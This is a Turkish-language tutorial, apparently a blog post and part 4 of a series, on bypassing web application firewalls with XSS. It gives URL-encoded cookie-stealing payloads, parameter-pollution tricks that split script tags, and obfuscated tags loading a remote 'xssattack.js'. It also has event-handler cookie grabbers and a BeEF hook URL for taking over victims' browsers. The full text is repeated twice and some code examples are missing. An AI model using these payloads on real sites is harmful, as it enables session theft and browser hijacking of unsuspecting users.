Web Application Firewall(WAF)’ları Bypasslamak -4
1 Ay kadar bir aranın ardından tekrardan merhaba, 3. Yazımla birlikte Waf Bypassing’i manuel şekilde yapmayı gösterdim,
ancak sadece SQL sorguları için değil, XSS açıkları için de yapmaya karar verdim. Şöyle bir haritalama yaparsak;
1. Kavramlar,
2. SQL Sorguları,
3. SQL Sorgularında Waf Bypassing
4. Xss Sorguları ve Bypass
Hızlı bir giriş yaparak hemen konuya geçiyorum. Bir sitemiz var ve adresi şu olsun “http://attackerssite.com/” Normalde bir site ancak sitenin ana dizininin altında zararlı yazılım bulunmakta uzantısı da şu olsun. “http://attackerssite.com/malicious.exe”;}</script> Kullanıcı bu linke tıkladığında kullanıcının bilgisayarına yürütülebilir zararli yazılım inecektir. Biraz daha derine inelim.
Stored XSS :
Yukarıdaki XSS yöntemi de depolanan XSS idi. Bu en çok ve en yaygın iki yöntemden Ethal ve kullanıcıların veritabanına kaydedilir girdi tedariği sağlayan web uygulamalarına oluyor ve kötü niyetli olabilir. Örneğin, yorumları kabul eden ve savunmasız bir forum, bir kullanıcının kötü niyetli yorumlarını kaydedebilir ve bu sayfayla etkileşime giren herkesi istismar edebilir. Gerçekleştirilebilecek diğer saldırılar şunlardır:
* Başka bir kullanıcının tarayıcısını ele geçirmek
* Uygulama kullanıcıları tarafından görüntülenen hassas bilgileri yakalama
* Dahili ana bilgisayarların bağlantı noktası taraması (web uygulamasının kullanıcılarıyla ilişkili olarak “dahili”)
* Tarayıcı tabanlı açıkların doğrudan teslimi
Reflected XSS’den farklı olarak, depolanan, kurbanın kötü amaçla oluşturulmuş URL’yi ziyaret etmesini sağlamak için bir bağlantıya ve kimlik avı yöntemlerine ihtiyaç duymaz. Kurban, istismar edilmiş savunmasız web sayfasını ziyaret ederse, kod kullanıcının tarayıcısı tarafından yürütülür. Elbette, bu tür saldırılar, genişletilmiş ayrıcalıklara, yöneticilere vb. Sahip kullanıcılar için gerçekten tehlikelidir, çünkü bunlar, hedeflenen ve bir web sitesinde ayrıcalıkların çoğuna sahip olan kullanıcılardır.
Stored XSS için test etme süreci, Reflected ile oldukça benzerdir, ancak web uygulamasındaki farklılıkları ve saldırının davranışını görmek için bir örnek inceleyelim. Bunu çoğunlukla, kodun nerede saklandığını ve sayfa bağlamında nerede bulunduğunu anlamamız gerektiği için yapacağız. Örneğin, bir web sitesi için yeni bir kullanıcı hesabı oluşturduğumuz bir sayfayı ele alalım. Orada, diğer tüm giriş alanlarına rağmen, doğrulama ve giriş nedenleriyle e-postamızı girdiğimiz bir alan var. Doğası gereği, bir e-posta alanının daha esnek olması gerekir, çünkü özel karakterler içerebilir ve büyük / küçük harfe duyarlı olabilir, bu nedenle bu tür alanların filtrelenmesi zordur.
Bu sayfanın kodunu incelerken aşağıdaki kod parçasını buluyoruz:
Gördüğümüz gibi, her alanın değer özelliği, web uygulamasına sağlayacağımız her şeyi içerecektir. Örneğin, ad alanına Yunus’u verirsek, bu kod parçası şöyle olacaktır:
Diyelim ki bu alanı test etmek ve kötü niyetli kod sağlamak istiyoruz, bunu nasıl yapabiliriz? Biz sadece HTML kodunun ihtiyaçlarına hizmet edecek bir dizge oluşturuyoruz. Örneğin:
Kod, çerezlerde saklanıyor ve bu web sitesinin bir kullanıcısı profilimizi her gördüğünde ona 123 diyen bir açılır pencere ile sunulacak. hesap, alanlarından birinde veya tümünde değişiklikleri kabul etmeyebileceğinden, istediğimiz dizeyi yalnızca bir deneyin. Bu senaryoda, doğru bir şekilde test etmek için muhtemelen birden çok hesap oluşturmamız gerekir, ancak bu, test sunucusunda sorunlara neden olabilir.
Alanın güvenlik açığından emin olduktan sonra, davranışını kontrol etmek için kötü amaçlı bir komut dosyası sağlamaya devam ediyoruz. Örneğin:
Yunus% 22% 3E% 3Cscript% 3Ealert (document.cookie)% 3C% 2Fscript% 3E
Burada, kullanıcının çerezini döndüren iyi bilinen bir dizimiz var, ancak sunucuda var olan WAF’ı atlamak için özel karakterleri URL olarak kodladık.
Günümüzde birçok tarayıcının güvenlik nedeniyle JavaScript’i devre dışı bıraktığını veya HTTP isteklerini (istemci tarafı kontrolleri) değiştirdiğini unutmayın. Bu nedenle, bir sayfada bir saldırı sunulabilir, ancak istemci tarafındaki kontroller nedeniyle başarılı olmayabilir. Aynı saldırı senaryosunu GET ve POST yöntemleriyle test etmek de önemlidir, çünkü yalnızca bir yöne duyarlı olabilir.
XSS’den yararlanmanın daha birçok yolu vardır; daha de derine inmek gerek, Yazımın devamında mevcut.
Önceki yazılarımda HPP ve HPF saldırılarını gördük ve bunlara SQL enjeksiyonu uyguladık. Ancak burada mantık aynıdır ve bir WAF’ı atlayabilmek için HPP veya HPF güvenlik açığından yararlanan bir XSS saldırısı gerçekleştirebiliriz. Örneğin, bu savunmasız URL’ye sahip olduğumuzu varsayalım:
“http://page.com/index.php?id=”
Böyle bir durumda örnek bir xss saldırısı şöyledir;
“http: //page.com/index.php? id = <script> alert (“123”) </script>”
Ancak HPP’den yararlanmak, bize şunu döndürecektir;
“http: //page.com/index.php? id = <script & param => alert (“123”) </ & param = script>”
Bu kod da ise sadece üst pencerede info içinde 123 yazacaktır, ancak WAF Bypasslanmış olacaktır.
Şimdiye kadar, komut dosyalarımızda genellikle <script> etiketlerinde yazılan gerçekten küçük kod parçaları kullandığımızı gördük. Peki ya kurbanın tarayıcısında web sitesinin dışında barındırılan bir komut dosyası yürütmek istersek? Yine oldukça kolay ve savunmasız şekilde aşağıdakileri sağlayarak halledebiliriz:
Burada, bize etiketlerimize bir bağlantı ekleme yeteneği veren src özelliğini kullandığımızı görebilirsiniz. Bu betik yürütme de gizlidir, çünkü betik etiketlerinin içindeki alanı boş bıraktık. Gördüğünüz gibi, barındırılan komut dosyamız JavaScript’te yazılmıştır, çünkü bu genellikle bir tarayıcıda çalışan bir komut dosyası dilidir. Bu saldırı ile WAF baypasına ilişkin bazı örnekler şunlar olabilir:
<SCRIPT%20a=”>”%20SRC=”http://script-host/xssattack.js"></SCRIPT> <SCRIPT =”>” SRC=”http://script-host/xssattack.js"></SCRIPT> <scri<script src=”http://script-host/xssattack.js">pt src=”http://script-host/ xssattack.js”></script> Attack with Event Handlers
Biraz önce bahsettiğimiz bir diğer şey de olay işleyicileridir. Bir HTML websitesi, tarayıcının veya kullanıcının yaptığı bir şey olabilir, bu nedenle komut dosyamızda, meydana gelen olayları işleyebilmek için bu olay işleyicilerini kullanırız. Ayrıca JavaScript bu olaylara tepki verebilir. Bazı ilginç olaylar şunlar olabilir:
* onClick() — When someone clicks a form, link, etc. * onError() — When loading of a document or image causes an error * onFocus() — The string gets executed when the window gets focus * onLoad() — The string gets executed when the window is finished loading
Bunlar ve daha fazlası, kullanıcının veya tarayıcının çeşitli davranışlarından yararlanabilen ve bazı kısıtlamaları aşmamıza yardımcı olan kodlar internette bulunabilir. İyi bir örnek şu olabilir:
“ onfocus=”alert(document.cookie)
Bunu daha önce gördüğümüz gibi bir giriş alanına ekleyebiliriz ve pencere odaklanmaya başladığında çerez kapma işlemini tetikleyecektir. Ayrıca onError olayını veya herhangi bir olayı HTML niteliği olarak kullanabiliriz, örneğin:
Burada, img etiketindeki görüntünün yüklenmesinde sorun varsa olay tetiklenir ve bu olursa, çerez kapma gerçekleşir. Bu, durumla sınırlı bir senaryodur, ancak saldırgan, görüntüleri yüklemede sorun yaşayan ve XSS güvenlik açıkları olan bir sayfa bulmayı başarırsa, bu gerçekten başarıdır. Son olarak, Reflected XSS’de çoğunlukla kullanılan bir yol, şu şekilde kullanılabilen onmouseover olay işleyicisidir:
Burada, kullanıcı fareyi URL üzerinden her geçirdiğinde, çerez yakalayıcısını tetikleyen ve phishing saldırılarında, e-postalarda ve depolanan XSS senaryolarındaki yorumlarda kolayca kullanılabilen bir komut dosyamız var.
BeEF ve XSS Saldırıları, XSS, XSSer ile WAF Bypass
BeEF (Browser Exploitation Framework), web tarayıcılarına saldırmak ve XSS güvenlik açıklarını ve kurbanların tarayıcılarını kullanmak için bir çerçevedir. BeEF’in bir güvenlik açığı bulucu olmadığını ve BeEF’i kullanmaya devam etmek için XSS güvenlik açığını manuel olarak bulmamız gerektiğini unutmamalıyız. İlk adım, önceden yüklenmiş olarak gelen veya buradan bir Linux makinesine yüklenen Kali Linux’tan BeEF’i çalıştırmaktır: http://beefproject.com/. Bir tarayıcı penceresi, yerel ana bilgisayara ve BeEF’in çalıştığı 3000 numaralı bağlantı noktasına bakmaya başlayacaktır. Şimdi bir sonraki adım, kurbanın tarayıcısını aşağıdaki gibi bir şeyle XSS’ye saldırarak yapabileceğimiz BeEF’e bağlamaktır:
http://www.testsite.com/xss-test.php?id=<script src = ”http: // <IP>: 3000 / hook.js”></script>
Burada script etiketini bir Reflected XSS güvenlik açığında kullandığımızı görebilirsiniz. Ayrıca, IP’nin uzaktaki bir makinede çalışması için yönlendiricimizde port yönlendirmeyi kullanmamız gerektiğini unutmayın, ancak bu, bu serinin konularının kapsamında değil. Bir kurbanın tarayıcısına bağlandığımızda, bilgileri BeEF kontrolöründe bulabilir ve tarayıcıya saldırmaya çalışabiliriz. Bir sonraki adım, çok çeşitli otomatikleştirilmiş XSS sonrası saldırıların bulunabileceği komutlar sekmesine gitmektir.
1 Ay kadar bir aranın ardından tekrardan merhaba, 3. Yazımla birlikte Waf Bypassing’i manuel şekilde yapmayı gösterdim,
ancak sadece SQL sorguları için değil, XSS açıkları için de yapmaya karar verdim. Şöyle bir haritalama yaparsak;
1. Kavramlar,
2. SQL Sorguları,
3. SQL Sorgularında Waf Bypassing
4. Xss Sorguları ve Bypass
Hızlı bir giriş yaparak hemen konuya geçiyorum. Bir sitemiz var ve adresi şu olsun “http://attackerssite.com/” Normalde bir site ancak sitenin ana dizininin altında zararlı yazılım bulunmakta uzantısı da şu olsun. “http://attackerssite.com/malicious.exe”;}</script> Kullanıcı bu linke tıkladığında kullanıcının bilgisayarına yürütülebilir zararli yazılım inecektir. Biraz daha derine inelim.
Stored XSS :
Yukarıdaki XSS yöntemi de depolanan XSS idi. Bu en çok ve en yaygın iki yöntemden Ethal ve kullanıcıların veritabanına kaydedilir girdi tedariği sağlayan web uygulamalarına oluyor ve kötü niyetli olabilir. Örneğin, yorumları kabul eden ve savunmasız bir forum, bir kullanıcının kötü niyetli yorumlarını kaydedebilir ve bu sayfayla etkileşime giren herkesi istismar edebilir. Gerçekleştirilebilecek diğer saldırılar şunlardır:
* Başka bir kullanıcının tarayıcısını ele geçirmek
* Uygulama kullanıcıları tarafından görüntülenen hassas bilgileri yakalama
* Dahili ana bilgisayarların bağlantı noktası taraması (web uygulamasının kullanıcılarıyla ilişkili olarak “dahili”)
* Tarayıcı tabanlı açıkların doğrudan teslimi
Reflected XSS’den farklı olarak, depolanan, kurbanın kötü amaçla oluşturulmuş URL’yi ziyaret etmesini sağlamak için bir bağlantıya ve kimlik avı yöntemlerine ihtiyaç duymaz. Kurban, istismar edilmiş savunmasız web sayfasını ziyaret ederse, kod kullanıcının tarayıcısı tarafından yürütülür. Elbette, bu tür saldırılar, genişletilmiş ayrıcalıklara, yöneticilere vb. Sahip kullanıcılar için gerçekten tehlikelidir, çünkü bunlar, hedeflenen ve bir web sitesinde ayrıcalıkların çoğuna sahip olan kullanıcılardır.
Stored XSS için test etme süreci, Reflected ile oldukça benzerdir, ancak web uygulamasındaki farklılıkları ve saldırının davranışını görmek için bir örnek inceleyelim. Bunu çoğunlukla, kodun nerede saklandığını ve sayfa bağlamında nerede bulunduğunu anlamamız gerektiği için yapacağız. Örneğin, bir web sitesi için yeni bir kullanıcı hesabı oluşturduğumuz bir sayfayı ele alalım. Orada, diğer tüm giriş alanlarına rağmen, doğrulama ve giriş nedenleriyle e-postamızı girdiğimiz bir alan var. Doğası gereği, bir e-posta alanının daha esnek olması gerekir, çünkü özel karakterler içerebilir ve büyük / küçük harfe duyarlı olabilir, bu nedenle bu tür alanların filtrelenmesi zordur.
Bu sayfanın kodunu incelerken aşağıdaki kod parçasını buluyoruz:
Gördüğümüz gibi, her alanın değer özelliği, web uygulamasına sağlayacağımız her şeyi içerecektir. Örneğin, ad alanına Yunus’u verirsek, bu kod parçası şöyle olacaktır:
Diyelim ki bu alanı test etmek ve kötü niyetli kod sağlamak istiyoruz, bunu nasıl yapabiliriz? Biz sadece HTML kodunun ihtiyaçlarına hizmet edecek bir dizge oluşturuyoruz. Örneğin:
Kod, çerezlerde saklanıyor ve bu web sitesinin bir kullanıcısı profilimizi her gördüğünde ona 123 diyen bir açılır pencere ile sunulacak. hesap, alanlarından birinde veya tümünde değişiklikleri kabul etmeyebileceğinden, istediğimiz dizeyi yalnızca bir deneyin. Bu senaryoda, doğru bir şekilde test etmek için muhtemelen birden çok hesap oluşturmamız gerekir, ancak bu, test sunucusunda sorunlara neden olabilir.
Alanın güvenlik açığından emin olduktan sonra, davranışını kontrol etmek için kötü amaçlı bir komut dosyası sağlamaya devam ediyoruz. Örneğin:
Yunus% 22% 3E% 3Cscript% 3Ealert (document.cookie)% 3C% 2Fscript% 3E
Burada, kullanıcının çerezini döndüren iyi bilinen bir dizimiz var, ancak sunucuda var olan WAF’ı atlamak için özel karakterleri URL olarak kodladık.
Günümüzde birçok tarayıcının güvenlik nedeniyle JavaScript’i devre dışı bıraktığını veya HTTP isteklerini (istemci tarafı kontrolleri) değiştirdiğini unutmayın. Bu nedenle, bir sayfada bir saldırı sunulabilir, ancak istemci tarafındaki kontroller nedeniyle başarılı olmayabilir. Aynı saldırı senaryosunu GET ve POST yöntemleriyle test etmek de önemlidir, çünkü yalnızca bir yöne duyarlı olabilir.
XSS’den yararlanmanın daha birçok yolu vardır; daha de derine inmek gerek, Yazımın devamında mevcut.
Önceki yazılarımda HPP ve HPF saldırılarını gördük ve bunlara SQL enjeksiyonu uyguladık. Ancak burada mantık aynıdır ve bir WAF’ı atlayabilmek için HPP veya HPF güvenlik açığından yararlanan bir XSS saldırısı gerçekleştirebiliriz. Örneğin, bu savunmasız URL’ye sahip olduğumuzu varsayalım:
“http://page.com/index.php?id=”
Böyle bir durumda örnek bir xss saldırısı şöyledir;
“http: //page.com/index.php? id = <script> alert (“123”) </script>”
Ancak HPP’den yararlanmak, bize şunu döndürecektir;
“http: //page.com/index.php? id = <script & param => alert (“123”) </ & param = script>”
Bu kod da ise sadece üst pencerede info içinde 123 yazacaktır, ancak WAF Bypasslanmış olacaktır.
Şimdiye kadar, komut dosyalarımızda genellikle <script> etiketlerinde yazılan gerçekten küçük kod parçaları kullandığımızı gördük. Peki ya kurbanın tarayıcısında web sitesinin dışında barındırılan bir komut dosyası yürütmek istersek? Yine oldukça kolay ve savunmasız şekilde aşağıdakileri sağlayarak halledebiliriz:
Burada, bize etiketlerimize bir bağlantı ekleme yeteneği veren src özelliğini kullandığımızı görebilirsiniz. Bu betik yürütme de gizlidir, çünkü betik etiketlerinin içindeki alanı boş bıraktık. Gördüğünüz gibi, barındırılan komut dosyamız JavaScript’te yazılmıştır, çünkü bu genellikle bir tarayıcıda çalışan bir komut dosyası dilidir. Bu saldırı ile WAF baypasına ilişkin bazı örnekler şunlar olabilir:
<SCRIPT%20a=”>”%20SRC=”http://script-host/xssattack.js"></SCRIPT> <SCRIPT =”>” SRC=”http://script-host/xssattack.js"></SCRIPT> <scri<script src=”http://script-host/xssattack.js">pt src=”http://script-host/ xssattack.js”></script> Attack with Event Handlers
Biraz önce bahsettiğimiz bir diğer şey de olay işleyicileridir. Bir HTML websitesi, tarayıcının veya kullanıcının yaptığı bir şey olabilir, bu nedenle komut dosyamızda, meydana gelen olayları işleyebilmek için bu olay işleyicilerini kullanırız. Ayrıca JavaScript bu olaylara tepki verebilir. Bazı ilginç olaylar şunlar olabilir:
* onClick() — When someone clicks a form, link, etc. * onError() — When loading of a document or image causes an error * onFocus() — The string gets executed when the window gets focus * onLoad() — The string gets executed when the window is finished loading
Bunlar ve daha fazlası, kullanıcının veya tarayıcının çeşitli davranışlarından yararlanabilen ve bazı kısıtlamaları aşmamıza yardımcı olan kodlar internette bulunabilir. İyi bir örnek şu olabilir:
“ onfocus=”alert(document.cookie)
Bunu daha önce gördüğümüz gibi bir giriş alanına ekleyebiliriz ve pencere odaklanmaya başladığında çerez kapma işlemini tetikleyecektir. Ayrıca onError olayını veya herhangi bir olayı HTML niteliği olarak kullanabiliriz, örneğin:
Burada, img etiketindeki görüntünün yüklenmesinde sorun varsa olay tetiklenir ve bu olursa, çerez kapma gerçekleşir. Bu, durumla sınırlı bir senaryodur, ancak saldırgan, görüntüleri yüklemede sorun yaşayan ve XSS güvenlik açıkları olan bir sayfa bulmayı başarırsa, bu gerçekten başarıdır. Son olarak, Reflected XSS’de çoğunlukla kullanılan bir yol, şu şekilde kullanılabilen onmouseover olay işleyicisidir:
Burada, kullanıcı fareyi URL üzerinden her geçirdiğinde, çerez yakalayıcısını tetikleyen ve phishing saldırılarında, e-postalarda ve depolanan XSS senaryolarındaki yorumlarda kolayca kullanılabilen bir komut dosyamız var.
BeEF ve XSS Saldırıları, XSS, XSSer ile WAF Bypass
BeEF (Browser Exploitation Framework), web tarayıcılarına saldırmak ve XSS güvenlik açıklarını ve kurbanların tarayıcılarını kullanmak için bir çerçevedir. BeEF’in bir güvenlik açığı bulucu olmadığını ve BeEF’i kullanmaya devam etmek için XSS güvenlik açığını manuel olarak bulmamız gerektiğini unutmamalıyız. İlk adım, önceden yüklenmiş olarak gelen veya buradan bir Linux makinesine yüklenen Kali Linux’tan BeEF’i çalıştırmaktır: http://beefproject.com/. Bir tarayıcı penceresi, yerel ana bilgisayara ve BeEF’in çalıştığı 3000 numaralı bağlantı noktasına bakmaya başlayacaktır. Şimdi bir sonraki adım, kurbanın tarayıcısını aşağıdaki gibi bir şeyle XSS’ye saldırarak yapabileceğimiz BeEF’e bağlamaktır:
http://www.testsite.com/xss-test.php?id=<script src = ”http: // <IP>: 3000 / hook.js”></script>
Burada script etiketini bir Reflected XSS güvenlik açığında kullandığımızı görebilirsiniz. Ayrıca, IP’nin uzaktaki bir makinede çalışması için yönlendiricimizde port yönlendirmeyi kullanmamız gerektiğini unutmayın, ancak bu, bu serinin konularının kapsamında değil. Bir kurbanın tarayıcısına bağlandığımızda, bilgileri BeEF kontrolöründe bulabilir ve tarayıcıya saldırmaya çalışabiliriz. Bir sonraki adım, çok çeşitli otomatikleştirilmiş XSS sonrası saldırıların bulunabileceği komutlar sekmesine gitmektir.